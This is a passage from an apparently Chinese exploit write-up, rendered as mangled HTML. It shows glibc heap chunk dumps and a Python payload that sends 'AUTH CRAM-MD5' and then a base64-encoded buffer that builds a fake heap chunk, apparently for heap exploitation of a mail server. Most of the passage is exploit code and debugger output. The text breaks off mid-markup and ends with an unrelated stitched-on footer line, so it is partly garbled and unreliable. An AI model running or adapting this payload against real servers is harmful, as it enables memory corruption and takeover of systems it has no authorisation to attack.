class="L5"&&code class="lang-python"&&span class="pln"&&&fd &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x6363&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L6"&&code class="lang-python"&&span class="pln"&&&bk &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x6363&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L7"&&code class="lang-python"&&span class="pln"&&&fd_nextsize &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x6363&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L8"&&code class="lang-python"&&span class="pln"&&&bk_nextsize &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x6363&/span&&/code&&/li&&li class="L9"&&code class="lang-python"&&span class="pun"&}&/span&&/code&&/li&&li class="L0"&&code class="lang-python"&&span class="lit"&0x1d19290&/span&&span class="pln"& PREV_INUSE IS_MMAPED &/span&&span class="pun"&{&/span&&/code&&/li&&li class="L1"&&code class="lang-python"&&span class="pln"&&&prev_size &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x6363&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L2"&&code class="lang-python"&&span class="pln"&&&size &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x6363&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L3"&&code class="lang-python"&&span class="pln"&&&fd &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x6363&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L4"&&code class="lang-python"&&span class="pln"&&&bk &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x6363&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L5"&&code class="lang-python"&&span class="pln"&&&fd_nextsize &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x6363&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L6"&&code class="lang-python"&&span class="pln"&&&bk_nextsize &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x6363&/span&&/code&&/li&&li class="L7"&&code class="lang-python"&&span class="pun"&}&/span&&/code&&/li&&/ol&
并且构造在第三块chunk中构造一个fake chunk
&ol class="linenums"&&li class="L0"&&code class="lang-python"&&span class="pln"&payload &/span&&span class="pun"&=&/span&&span class="pln"& p64&/span&&span class="pun"&(&/span&&span class="lit"&0x20f0&/span&&span class="pun"&)+&/span&&span class="pln"&p64&/span&&span class="pun"&(&/span&&span class="lit"&0x1f31&/span&&span class="pun"&)&/span&&/code&&/li&&li class="L1"&&code class="lang-python"&&span class="pln"&p&/span&&span class="pun"&.&/span&&span class="pln"&sendline&/span&&span class="pun"&(&/span&&span class="str"&"AUTH CRAM-MD5"&/span&&span class="pun"&)&/span&&/code&&/li&&li class="L2"&&code class="lang-python"&&span class="pln"&p&/span&&span class="pun"&.&/span&&span class="pln"&sendline&/span&&span class="pun"&((&/span&&span class="pln"&payload&/span&&span class="pun"&*&/span&&span class="lit"&484&/span&&span class="pun"&).&/span&&span class="pln"&encode&/span&&span class="pun"&(&/span&&span class="str"&"base64"&/span&&span class="pun"&).&/span&&span class="pln"&replace&/span&&span class="pun"&(&/span&&span class="str"&"\n"&/span&&span class="pun"&,&/span&&span class="str"&""&/span&&span class="pun"&))&/span&&/code&&/li&&li class="L3"&&code class="lang-python"&&span class="com"&# heap&/span&&/code&&/li&&li class="L4"&&code class="lang-python"&&span class="lit"&0x1d15180&/span&&span class="pln"& PREV_INUSE &/span&&span class="pun"&{&/span&&/code&&/li&&li class="L5"&&code class="lang-python"&&span class="pln"&
prev_size &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x0&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L6"&&code class="lang-python"&&span class="pln"&
size &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x2021&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L7"&&code class="lang-python"&&span class="pln"&
fd &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x1d191b0&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L8"&&code class="lang-python"&&span class="pln"&
bk &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x2008&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L9"&&code class="lang-python"&&span class="pln"&
fd_nextsize &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0xf11ddff11ddff11d&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L0"&&code class="lang-python"&&span class="pln"&
bk_nextsize &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x1ddff11ddff11ddf&/span&&/code&&/li&&li class="L1"&&code class="lang-python"&&span class="pun"&}&/span&&/code&&/li&&li class="L2"&&code class="lang-python"&&span class="lit"&0x1d171a0&/span&&span class="pln"& PREV_INUSE &/span&&span class="pun"&{&/span&&/code&&/li&&li class="L3"&&code class="lang-python"&&span class="pln"&
prev_size &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x1ddff11ddff11ddf&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L4"&&code class="lang-python"&&span class="pln"&
size &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x20f1&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L5"&&code class="lang-python"&&span class="pln"&
fd &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x6363&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L6"&&code class="lang-python"&&span class="pln"&
bk &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x6363&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L7"&&code class="lang-python"&&span class="pln"&
fd_nextsize &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x6363&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L8"&&code class="lang-python"&&span class="pln"&
bk_nextsize &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x6363&/span&&/code&&/li&&li class="L9"&&code class="lang-python"&&span class="pun"&}&/span&&/code&&/li&&li class="L0"&&code class="lang-python"&&span class="lit"&0x1d19290&/span&&span class="pln"& PREV_INUSE &/span&&span class="pun"&{&/span&&/code&&/li&&li class="L1"&&code class="lang-python"&&span class="pln"&
prev_size &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0xf0&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L2"&&code class="lang-python"&&span class="pln"&
size &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x1f31&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L3"&&code class="lang-python"&&span class="pln"&
fd &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x20f0&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L4"&&code class="lang-python"&&span class="pln"&
bk &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x1f31&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L5"&&code class="lang-python"&&span class="pln"&
fd_nextsize &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x20f0&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L6"&&code class="lang-python"&&span class="pln"&
bk_nextsize &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x1f31&/span&&/code&&/li&&li class="L7"&&code class="lang-python"&&span class="pun"&}&/span&&/code&&/li&&li class="L8"&&code class="lang-python"&&span class="lit"&0x1d1b1c0&/span&&span class="pln"& PREV_INUSE &/span&&span class="pun"&{&/span&&/code&&/li&&li class="L9"&&code class="lang-python"&&span class="pln"&
prev_size &/span&&span class

我要回帖

更多关于 网店如何申请 的文章

 

随机推荐